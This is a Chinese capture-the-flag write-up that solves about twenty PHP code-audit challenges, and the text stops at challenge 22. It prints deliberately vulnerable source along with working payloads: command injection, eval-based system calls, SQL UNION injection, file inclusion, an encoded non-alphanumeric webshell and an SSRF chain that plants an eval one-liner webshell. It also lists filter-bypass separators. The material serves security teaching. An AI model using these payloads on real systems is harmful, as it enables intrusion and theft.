PHP_Code_Challenge

PHP_Code_Challenge

PHP_Code_Challenge总结了一些常见的php代码审计的题目,共30关

题目地址:
HUCTF
148.70.62.239:{port} Port 23001-23030
https://gitee.com/cnwill_sec/PHPCodeChallenge

challenge1

源码

1
2
3
4
5
6
7
8
1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY= 
<?php
error_reporting(0);
require __DIR__.'/lib.php';

echo base64_encode(hex2bin(strrev(bin2hex($flag)))), '<hr>';

highlight_file(__FILE__);

使用给出的加密逆向解密上面的字符串

1
2
3
4
5
6
7
hex2bin		#把十六进制值转换为 ASCII 字符
strrev #反转字符串
bin2hex #把字符串转换为十六进制值

<?php
$str = '1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=';
echo hex2bin(strrev(bin2hex(base64_decode($str))));

1588672298533

challenge2

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 <?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['time'])){
if(!is_numeric($_GET['time'])){
echo 'The time must be number.';
}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
echo 'This time is too short.';
}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
echo 'This time is too long.';
}else{
sleep((int)$_GET['time']);
echo $flag;
}
echo '<hr>';
}
highlight_file(__FILE__);

time必须小于60 * 60 * 24 * 30 * 3,大于60 * 60 * 24 * 30 * 2,is_numeric可以使用科学计数法或者十六进制绕过,即time=0x4f1a00或者time=7e6

1588673393193

challenge3

查看网页源码发现challenge3.txt,访问得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
error_reporting(0);
echo "<!--challenge3.txt-->";
require __DIR__.'/lib.php';
if(!$_GET['id'])
{
header('Location: challenge3.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')) //查看.在$a中第一次出现的位置,这里为不能出现.
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r'); //将$a写入$data
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
echo $flag;
}
else
{
print "work harder!harder!harder!";
}
?>

需要满足的条件

1.$a不能出现.,或者.在第一位,这样条件就为0,不满足
2.通过$a写入$data的字符串要为1112 is a nice lab!
3.id==0
4.$b长度大于5,并且111与$b字符串被截取的第一位字符连结后形成的字符串能在1114中匹配到
,即连结后的字符串可以是111也可以是1114
5.$b第一位不能为4

解决

1、2
$a=php://input,即file_get_contents('php://input','r')
$data取请求原始数据流,即post的内容,$a=php://input
$data取post的数据,post 1112 is a nice lab! 即可

3
php弱类型比较,数字与字符串等值比较时,字符串取开头的有效数字,无则为0
id=a

4、5
%00截断对substr有效,对strlen无效(即%00不会对strlen截断),所以构造

1
2
GET: id=a&a=php://input&b=%001111111
POST:1112 is a nice lab!

1588686122983

这里使用有些hackbar不能打通,可以更换hackbar或者使用burp

challenge4

源码

1
2
3
4
5
6
<?php 
error_reporting(0);
show_source(__FILE__);

$a = @$_REQUEST['hello'];
eval("var_dump($a);");

简单的命令执行,过滤了cat,使用tac
payload

hello=system(%27tac%20lib.php%27)

1588686655614

challenge5

一个登陆框,可以看源码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else{
echo '<p>Login first!</p>';
?>

md5弱类型比较,数组绕过即可
payload

name[]=admin&password[]=a

1588687567505

challenge6

右键源码发现source.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********", "*****", "********");
mysql_select_db("challenges") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
$sql = "select pwd from interest where uname='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pwd"];
if (($row[pwd]) && (!strcasecmp($pass, $row[pwd]))) {
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>

($row[pwd]) && (!strcasecmp($pass, $row[pwd]))
$query中pwd列要有值
pwd列的值与MD5($pass)匹配
这里可以在username处进行实践盲注
1588688594051

还可以使用联合查询注入漏洞

UNION用于把来自许多SELECT语句的结果组合到一个结果集合中。 列于每个SELECT语句的对应位置的被选择的列应 具有相同的类型。(例如,被第一个语句选择的第一列应和被其它语句选择的第一列具有相同的类型。)在第一 SELECT语句中被使用的列名称也被用于结果的列名称。
其中关键是在第一个SELECT语句中被使用的列名称也被用于结果的列名称
这意味着union后的sql语句执行结果也会被列入pwd列中
我们可以使union前的sql语句无结果,其后的sql语句的结果与MD5($pass)相同,使pwd列的值与MD5($pass)匹配

1588689264255

其中c4ca4238a0b923820dcc509a6f75849b为1的md5值

challenge7

在challenge7.txt发现源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include "flag.php";
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST")
die("BugsBunnyCTF is here :p...");
if ( !isset($_POST["flag"]) )
die($_403);
foreach ($_GET as $key => $value)
$$key = $$value;
foreach ($_POST as $key => $value)
$$key = $value;
if ( $_POST["flag"] !== $flag )
die($_403);
echo "This is your flag : ". $flag . "\n";
die($_200);

有很明显的变量覆盖漏洞。要求我们在post语句中有flag,同时在第二个foreach中有把$flag直接覆盖了,所以直接通过echo语句输出的flag是被修改过的。接着看看有什么输出点,比如有个die($_200),结合第一个foreach的功能,我们可以在第二个foreach之前先将$_200的值覆盖为原flag的值。payload如下:

1
2
3
4
http://IP:PORT/challenge7.php?_200=flag

POST:
flag=1

1589206914212

challenge8

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(!isset($_GET['c'])){
show_source(__FILE__);
die();
}
function rand_string( $length ) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$size = strlen( $chars );
$str = '';
for( $i = 0; $i < $length; $i++)
{
$str .= $chars[ rand( 0, $size - 1 ) ];
}
return $str;
}
$data = $_GET['c'];
$black_list = array(' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '|', '~');
foreach ($black_list as $b) {
if (stripos($data, $b) !== false){
die("WAF!");
}
}
$filename=rand_string(0x20).'.php';
$folder='uploads/';
$full_filename = $folder.$filename;
if(file_put_contents($full_filename, '<?php '.$data)){
echo "<a href='".$full_filename."'>WebShell</a></br>";
echo "Enjoy your webshell~";
}else{
echo "Some thing wrong...";
}
?>

简单审计:
将c传入的字符串用白名单筛选,并且与<?php拼接后写入uploads/xxxxx.php中
这道题过滤了很多,但没有过滤$ _ [ ] ' ' ;等,所以可以通过自增的方式构造无字母数字rce

参考链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
$_=[].[];
$__='';
$_=$_[''];
$_=++$_;$_=++$_;$_=++$_;$_=++$_;
$__.=$_; // E
$_=++$_;$_=++$_;
$__=$_.$__; // GE
$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;
$_=++$_;$_=++$_;$_=++$_;
$__.=$_; // GET
var_dump(${'_'.$__}[_](${'_'.$__}[__])); // $_GET['_']($_GET['__']);


$_=[].[];
$__='';
$_=$_[''];
$_=++$_;$_=++$_;$_=++$_;$_=++$_;
$__.=$_;
$_=++$_;$_=++$_;
$__=$_.$__;
$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;
$_=++$_;$_=++$_;$_=++$_;
$__.=$_;$
{'_'.$__}[_](${'_'.$__}[__]);

将下面的那一串进行url编码后传入

1
2
3
4
%24_%3d%5b%5d.%5b%5d%3b%24__%3d%27%27%3b%24_%3d%24_%5b%27%27%5d%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__%3d%24_.%24__%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24%7b%27_%27.%24__%7d%5b_%5d(%24%7b%27_%27.%24__%7d%5b__%5d)%3b


%24%5f%3d%5b%5d%2e%5b%5d%3b%24%5f%5f%3d%27%27%3b%24%5f%3d%24%5f%5b%27%27%5d%3b%24%5f%3d%2b%2b%24%5f%3b%24%5f%3d%2b%2b%24%5f%3b%24%5f%3d%2b%2b%24%5f%3b%24%5f%3d%2b%2b%24%5f%3b%24%5f%5f%2e%3d%24%5f%3b%24%5f%3d%2b%2b%24%5f%3b%24%5f%3d%2b%2b%24%5f%3b%24%5f%5f%3d%24%5f%2e%24%5f%5f%3b%24%5f%3d%2b%2b%24%5f%3b%24%5f%3d%2b%2b%24%5f%3b%24%5f%3d%2b%2b%24%5f%3b%24%5f%3d%2b%2b%24%5f%3b%24%5f%3d%2b%2b%24%5f%3b%24%5f%3d%2b%2b%24%5f%3b%24%5f%3d%2b%2b%24%5f%3b%24%5f%3d%2b%2b%24%5f%3b%24%5f%3d%2b%2b%24%5f%3b%24%5f%3d%2b%2b%24%5f%3b%24%5f%3d%2b%2b%24%5f%3b%24%5f%3d%2b%2b%24%5f%3b%24%5f%3d%2b%2b%24%5f%3b%24%5f%5f%2e%3d%24%5f%3b%24%7b%27%5f%27%2e%24%5f%5f%7d%5b%5f%5d%28%24%7b%27%5f%27%2e%24%5f%5f%7d%5b%5f%5f%5d%29%3b

接着访问出现的webshell,传入

1
2
?_=system&__=cat%20../flag.php

system(cat%20../flag.php)

查看源码得到flag
1588840767993

challenge9

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
if(isset($_REQUEST[ 'ip' ])) {
$target = trim($_REQUEST[ 'ip' ]);
$substitutions = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd = shell_exec( 'ping -c 4 ' . $target );
echo $target;
echo "<pre>{$cmd}</pre>";
}
show_source(__FILE__);

命令执行
payload

?ip=127.0.0.1%0acat%20flag.php

1588841559619

关于命令执行以及常见的一些绕过过滤的方法
命令分隔符

linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)

空格可以用以下字符串代替

< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等

challenge10

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php 
require __DIR__.'/flag.php';
if (isset($_POST['answer'])){
$number = $_POST['answer'];
if (noother_says_correct($number)){
echo $flag;
} else {
echo "Sorry";
}
}

function noother_says_correct($number)
{
$one = ord('1'); #ord() 函数:返回字符串的首个字符的 ASCII 值
$nine = ord('9');
# Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
# Disallow all the digits!
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
# Aha, digit not allowed!
return false;
}
#要求传入的每一个值都不能大于等于1小于等于9
}
# Allow the magic number ...
return $number == "3735929054"; #弱类型比较
}

highlight_file(__FILE__);
?>

noother_says_correct函数对POST的字符串每个字符做检测,如果有一个字符的ASCII码在[49,57]内则返回false,即输入的字符串不能含有1-9数字
返回true的条件是POST的字符串与3735929054等值比较返回true
发现16进制满足条件
1588855862112

0xdeadc0de

1588855895845

challenge11

源码:

1
2
3
4
5
6
7
8
9
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>

使用了'/^\w*$/'正则匹配,即要求传入的必须为字母和数字的组合
var_dump($$a)中存在$$a,可以输出对应的变量值,即flag,但前提是需要知道flag的变量名,可利用$GLOBALS

转载自:https://www.freebuf.com/column/230907.html

PHP中有一个鲜为人知的超全局变量$GLOBALS。

$GLOBALS定义:引用全局作用域中可用的全部变量(一个包含了全部变量的组合数组。变量的名字就是数组的键),与所有其他超全局变量不同,$GLOBALS在PHP代码中的任何地方都是可用的,可以通过打印$GLOBALS变量查看结果验证。

在PHP生命周期中,定义在函数体外部的全局变量,函数内部是不能直接获得的。如果要在函数体内访问外部定义的全局变量,可以通过global声明或者直接使用$GLOBALS来进行访问。

比如:

1
2
3
4
5
6
7
8
9
10
11
<?php
$var1='www.tidesec.com';
$var2='www.tidesec.net';
test();
function test(){
$var1='tide';
echo $var1,'<br />';
global $var1;
echo $var1,'<br />';
echo $GLOBALS['var2'];
}

输出结果为:

1
2
3
tide
www.tidesec.com
www.tidesec.net

其中global和$GLOBALS的区别:

$GLOBALS[‘var’]是外部全局变量的本身,而global $var则是外部$var的同名引用或者说是指针,也就是说global函数产生一个指向函数外部变量的别名变量,而不是真正的函数外部变量,而$GLOBALS[]确确实实调用的是外部的变量,函数内外都会始终保持一致。

举个例子:

1
2
3
4
5
6
7
$var1=tide;
$var2=tidesec;
function test(){
$GLOBALS['var2']=&$GLOBALS['var1'];
}
test();
echo $var2;

结果为:

1
tide

1
2
3
4
5
6
7
8
$var1=tide;
$var2=tidesec;
function test(){
global $var1,$var2;
$var2=&$var1;
}
test();
echo $var2;

结果为:

1
tidesec

结果之所以为tidesec,原因为$var1的引用指向了$var2的引用地址。导致实质的值没有发生变化。


1
2
3
4
5
6
7
$var1=tide;
function test(){
global $var1;
unset($var1);
}
test();
echo $var1;

结果为:

1
tide

这就说明,删除的只是别名或者说是引用,其本身作用的值没有受到任何的影响。也就是说,global $var其实是$var = &$GLOBALS[‘var’],调用外部变量的一个别名而已

所以本题传入

GLOBALS

即可
1588857266864

challenge12

源码:

1
2
3
4
5
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

与challenge11思想一样
1588857952191

也可以直接构造

);var_dump(file(“flag.php”));//

challenge13

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php 
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
$_SESSION['nums'] = 0;
$_SESSION['time'] = time();
$_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
session_destroy();
} #120秒后销毁会话

$value = $_REQUEST['value'];
$str_rand = range('a', 'z'); #创建a-z数组
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];#生成两个随机字母

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
echo $str_rands;
} //当whoami=value时,num+1,whoami=$str_rands;==弱类型比较

if($_SESSION['nums']>=10){
echo $flag;
}

show_source(__FILE__);
?>

参数whoami要满足两个条件,一个是满足whoami输入的值与产生的随机值相等,另一个条件就是要满足md5($value)从第五位取,取四位,能够==0,其中后一个条件其实可以通过PHP的弱比较来进行利用,也就是说,只要保证第五位值为字母,就可以满足(md5($value),5,4) == 0
在120秒内传参十次就可以得到flag

脚本:

1
2
3
4
5
6
7
import requests
url='http://148.70.62.239:23013/challenge13.php'
a=requests.Session()
b=a.get(url+'?value[]=ea').text
for i in range(10):
b=a.get(url+'?value[]='+ b[0:2]).text # //这里的b[0:2]是获取读取的源代码的前两个字符,因为手工传一次`?value[]=ea`后可以发现,新的随机数在源码最前面
print(b[0:30])

1588990386149

也可以手动传参
1588990523440

challenge14

源码:

1
2
3
4
5
6
7
<?php 
show_source(__FILE__);
if(isset($_REQUEST['path'])){
include($_REQUEST['path']);
}else{
include('phpinfo.php');
}

简单的文件包含,并且allow_url_include为on,所以可以使用php伪协议

先使用php://input查看flag文件
1588995335310

payload:

1
2
?path=php://filter/convert.base64-encode/resource=flag.php

1588994986432

challenge15

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if(isset($_GET) && !empty($_GET)){
$url = $_GET['file'];
$path = 'upload/'.$_GET['path']; #拼接路径
}else{
show_source(__FILE__);
exit();
}

if(strpos($path,'..') > -1){ #&path不能包含..
die('SYCwaf!');
}

if(strpos($url,'http://127.0.0.1/') === 0){ #url只能以http://127.0.0.1/开头
file_put_contents($path, file_get_contents($url));#读取url中的内容,写入path中
echo "console.log($path update successed!)";
}else{
echo "Hello.Geeker";
}

strpos() f函数查找字符串在另一字符串中第一次出现的位置(区分大小写)

file_get_contents

将整个文件读入一个字符串

1
2
3
4
5
file() 一样,只除了 file_get_contents() 把文件读入一个字符串。将在参数 offset 所指定的位置开始读取长度为 maxlen 的内容。如果失败,file_get_contents() 将返回 FALSE
file_get_contents() 函数是用来将文件的内容读入到一个字符串中的首选方法。如果操作系统支持还会使用内存映射技术来增强性能。
Note:
如果要打开有特殊字符的 URL (比如说有空格),就需要使用 urlencode() 进行 URL 编码。

file_put_contents

将一个字符串写入文件
和依次调用 fopen(),fwrite() 以及 fclose() 功能一样。

程序会访问url中的file,然后将返回内容写入到$path文件中,如果不存在返回空,再返回含$path的页面
首先构随便构造一个

1
2
http://148.70.62.239:23015/?path=aaa%3C?php%20phpinfo();?%3Ebbb&file=http://127.0.0.1/

成功将http://127.0.0.1中的内容写入aaa%3C?php%20phpinfo();?%3Ebbb文件中,并且发现PHP代码解析了
1589009096567

如果将该地址作为一个新的file,那么就会将把返回的console.log(upload/aaabbb update successed!)写入另一个文件中,即实现了写入一句话木马,由于php作为文件名的时候被解析了,所以要进行一次url编码,并且要将地址改为127.0.0.1

最终payload

1
2
3
4
http://148.70.62.239:23015/?path=shell.php&file=http://127.0.0.1/?file=http://127.0.0.1/&path=<?php+@eval($_POST[a]);?>
编码后
http://148.70.62.239:23015/?path=shell.php&file=http%3a%2f%2f127.0.0.1%2f%3ffile%3dhttp%3a%2f%2f127.0.0.1%2f%26path%3d%3c%3fphp%2b%40eval(%24_POST%5ba%5d)%3b%3f%3e

进行url编码的时候要将空格用+代替进行编码

1589010937407

1589010955624

challenge16

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php  
if (isset($_POST["submit"]))
{
if (isset($_POST['hihi']))
{
if (ereg("^[a-zA-Z0-9]+$", $_POST['hihi']) === FALSE) #只能是数字和字母
{
exit('<script>alert("have fun:)")</script>');
}
elseif (strlen($_POST['hihi']) < 11 && $_POST['hihi'] > 999999999)#可以通过科学计数法绕过
{
if (strpos($_POST['hihi'], '#HONG#') !== FALSE) #hihi中存在#HONG
#数组绕过或者%00截断
{
if (!is_array($_POST['hihi'])) { #hihi不为数组
include("flag.php");
echo "Congratulations! FLAG is : ".$flag;
}
else
{
exit('<script>alert("nonono")</script>');
}
}
else
{
exit('<script>alert("nonono")</script>');
}
}
else
{
exit('<script>alert("sorry")</script>');
}
}
}
show_source(__FILE__);
?>

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的

payload:

hihi=9e9%00#HONG#&submit=1

1589012783822

challenge17

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php  
header("Content-type: text/html; charset=utf-8");
include('flag.php');
$smile = 1;
if (!isset ($_GET['^_^'])) $smile = 0;
if (ereg ('\.', $_GET['^_^'])) $smile = 0;
if (ereg ('%', $_GET['^_^'])) $smile = 0;
if (ereg ('[0-9]', $_GET['^_^'])) $smile = 0;
if (ereg ('http', $_GET['^_^']) ) $smile = 0;
if (ereg ('https', $_GET['^_^']) ) $smile = 0;
if (ereg ('ftp', $_GET['^_^'])) $smile = 0;
if (ereg ('telnet', $_GET['^_^'])) $smile = 0;
if (ereg ('_', $_SERVER['QUERY_STRING'])) $smile = 0; #url ?后面不存在_
if ($smile) {
if (@file_exists ($_GET['^_^'])) $smile = 0;
}
if ($smile) {
$smile = @file_get_contents ($_GET['^_^']);
if ($smile === "(●'◡'●)") die($flag);
}
show_source(__FILE__);
?>

QUERY_STRING就是URL后接的参数

file_exists() 函数检查文件或目录是否存在。

如果指定的文件或目录存在则返回 true,否则返回 false

搜索引擎会忽略下划线的存在
.[]之类的符号作为参数的key的时候,会被PHP改写为_,所以传入^.^便能绕过。file_get_contents可以获取远程数据,但常用网络协议已经被过滤,因此需要选取其他协议。查阅PHP支持的协议和包装,发现RFC 2397的data协议可用。巧合的是,file_exists对于data指向内容判断为不存在
payload:

?^.^=data://text/plain;charset=unicode,(●’◡’●)

1589014602979

challenge18

在challenge18.php~中发现源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
header("Content-type: text/html; charset=utf-8");
if(isset($_POST['login']))
{
if(isset($_POST['user']))
{
if(@strcmp($_POST['user'],$USER))//USER是被隐藏的复杂用户名
{
die('user错误!');
}
}
if (isset($_POST['name']) && isset($_POST['password']))
{
if ($_POST['name'] == $_POST['password'] )
{
die('账号密码不能一致!');
}
if (md5($_POST['name']) === md5($_POST['password']))
{
if(is_numeric($_POST['id'])&&$_POST['id']!=='72' && !preg_match('/\s/', $_POST['id']))
{
if($_POST['id']==72)
die("flag{xxxxxxxxxxxxx}");
else
die("ID错误2!");
}
else
{
die("ID错误1!");
}
}
else
die('账号密码错误!');
}
}
?>
1
2
3
4
5
6
7
8
strcmp	比较两个字符串(区分大小写):
本函数返回:

0 - 如果两个字符串相等
<0 - 如果 string1 小于 string2
>0 - 如果 string1 大于 string2
在PHP5.3版本之后使用这个函数比较array跟sring会返回0

所以strcmp函数可以使用数组绕过,接着是md5===判断,也可以使用数组绕过
最后一点id,不能为数字72,又不能等于字符串’72’,不包含空白符,这里也是弱类型,floor类型72.00
payload:

user[]=a&name[]=1&password[]=12&id=72.0&login=Check

1589017428569

challenge19

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
require_once('flag.php');
if(!isset($_GET['sss'])){
show_source('challenge19.php');
die();
}
$sss=$_GET['sss'];
if(strlen($sss)==666){
if(!preg_match("/[^0-6]/",$sss)){ #只能包含 0--6 的数字
eval('$sss='.$sss.';');
if($sss!=='0x666'){
if($sss=='0x666'){
echo $flag;
}
}
}
}
?>

通过分析可知我们需要创建一个长度为 666 ,只包含0 – 6的数字,数值上等于 0x666且不等于字符串 ‘0x666’的参数,所以我们用八进制就可以了,创建 $sss = ‘00…03146’即可

1
2
3
4
5
import requests

url = 'http://148.70.62.239:23019/challenge19.php?sss='+'0'*662+'3146'
html = requests.get(url)
print(html.content)

1589037176956

challenge20

源码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php

require_once('flag.php');

if(empty($_GET['user'])) die(show_source(__FILE__));

$user = ['admin', 'xxoo'];

if($_GET['user'] === $user && $_GET['user'][0] != 'admin'){
echo $flag;
}
?>
  • $_GET[‘user’] 是一个全局的变量,我们传的是字符串,它就是字符串,传的是数组,那么它的值就是数组
  • $user 是一个数组, [0 => ‘admin’, 1 => ‘xxoo’]
  • === 三个等号的意思就是类型是同一类型,并且值也是相同的
  • $_GET[‘user’][0] 的值不能等于 ‘admin’

若要使这个 if 条件成立,就必须让两个键值不相等的数组经过 === 比较后返回 true

测试下面几个例子

1
2
3
4
5
6
<?php
var_dump([1=>0]==[1=>0]);
var_dump([1=>0]===[1=>0]);
var_dump([1=>0]==[2=>0]);
var_dump([1=>0]===[2=>0]);
var_dump([0 => 0] === [0x100000000 => 0]);

1589069580133

当PHP版本为5.6及以下时,var_dump([0 => 0] === [0x100000000 => 0]);返回了true
即可以通过这个漏洞绕过
payload

1
2
?user[4294967296]=admin&user[1]=xxoo

2^32 == 0x100000000 == 4294967296 由于是截断漏洞,所以 0x100000000 后面再多几个 0 也是可以的,适当转换成对应的 10 进制数

1589070166987

challenge21

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
require('flag.php');

if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) #可见字符超过12个
{
echo 'Wrong Format';
exit;
}

while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
#标点符号,数字,大小写字母
if (6 > preg_match_all($reg, $password, $arr))
break;

$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
show_source(__FILE__);
POSIX Description ASCII Unicode Shorthand Java
[:alnum:] Alphanumeric characters [a-zA-Z0-9] [\p{L&}\p{Nd}] \p{Alnum}
[:alpha:] Alphabetic characters [a-zA-Z] \p{L&} \p{Alpha}
[:ascii:] ASCII characters [\x00-\x7F] \p{InBasicLatin} \p{ASCII}
[:blank:] Space and tab [ \t] [\p{Zs}\t] \h \p{Blank}
[:cntrl:] Control characters [\x00-\x1F\x7F] \p{Cc} \p{Cntrl}
[:digit:] Digits [0-9] \p{Nd} \d \p{Digit}
[:graph:] 可见字符(即空格,控制字符等除外) [\x21-\x7E] [^\p{Z}\p{C}] \p{Graph}
[:lower:] Lowercase letters [a-z] \p{Ll} \p{Lower}
[:print:] Visible characters and spaces (i.e. anything except control characters, etc.) [\x20-\x7E] \P{C} \p{Print}
[:punct:] 标点和符号 [!”#$%&’()*+, -./:;<=>?@ [\]^_`{|}~] [\p{P}\p{S}] \p{Punct}
[:space:] All whitespace characters, including line breaks [ \t\r\n\v\f] [\p{Z}\t\r\n\v\f] \s \p{Space}
[:upper:] Uppercase letters [A-Z] \p{Lu} \p{Upper}
[:word:] Word characters (letters, numbers and underscores) [A-Za-z0-9_] [\p{L}\p{N}\p{Pc}] \w
[:xdigit:] Hexadecimal digits [A-Fa-f0-9] [A-Fa-f0-9] \p{XDigit}

preg_match_all 函数用于执行一个全局正则表达式匹配。

语法

1
2
int preg_match_all ( string $pattern , string $subject [, array &$matches [, int $flags = PREG_PATTERN_ORDER [, int $offset = 0 ]]] )

搜索 subject 中所有匹配 pattern 给定正则表达式的匹配结果并且将它们以 flag 指定顺序输出到 matches 中。

在第一个匹配找到后, 子序列继续从最后一次匹配位置搜索。

参数说明:

  • $pattern: 要搜索的模式,字符串形式。
  • $subject: 输入字符串。
  • $matches: 多维数组,作为输出参数输出所有匹配结果, 数组排序通过flags指定。
  • $flags:可以结合下面标记使用(注意不能同时使用PREG_PATTERN_ORDER和 PREG_SET_ORDER):
  1. PREG_PATTERN_ORDER: 结果排序为$matches[0]保存完整模式的所有匹配, $matches[1] 保存第一个子组的所有匹配,以此类推。
  2. PREG_SET_ORDER: 结果排序为$matches[0]包含第一次匹配得到的所有匹配(包含子组), $matches[1]是包含第二次匹配到的所有匹配(包含子组)的数组,以此类推。
  3. PREG_OFFSET_CAPTURE: 如果这个标记被传递,每个发现的匹配返回时会增加它相对目标字符串的偏移量。
  • offset: 通常, 查找时从目标字符串的开始位置开始。可选参数offset用于 从目标字符串中指定位置开始搜索(单位是字节)。

if (6 > preg_match_all($reg, $password, $arr))表示把连续的大写,小写,数字,符号作为一段,至少分六段

  1. 可见字符超过12
  2. 字符串中,把连续的大写,小写,数字,符号作为一段,至少分六段,例如a12SD+io8可以分成a 12 SD + io 8六段
  3. 大写,小写,数字,符号这四种类型至少要出现三种,如下:

1589193100660

接着就是满足if ("42" == $password),使用十六进制为0x2A,这里已经满足3,满足1只需要再前面添加0即可,但是正则2却没办法满足,在16进制前后加符号和小数点都会破坏在判断相等时进行的转换
接下来想到科学计数法
42=4.2e1=420e-1=420.000000e-1
payload:

password=420.000000e-1

1589193740643

challenge22

源码:

1
2
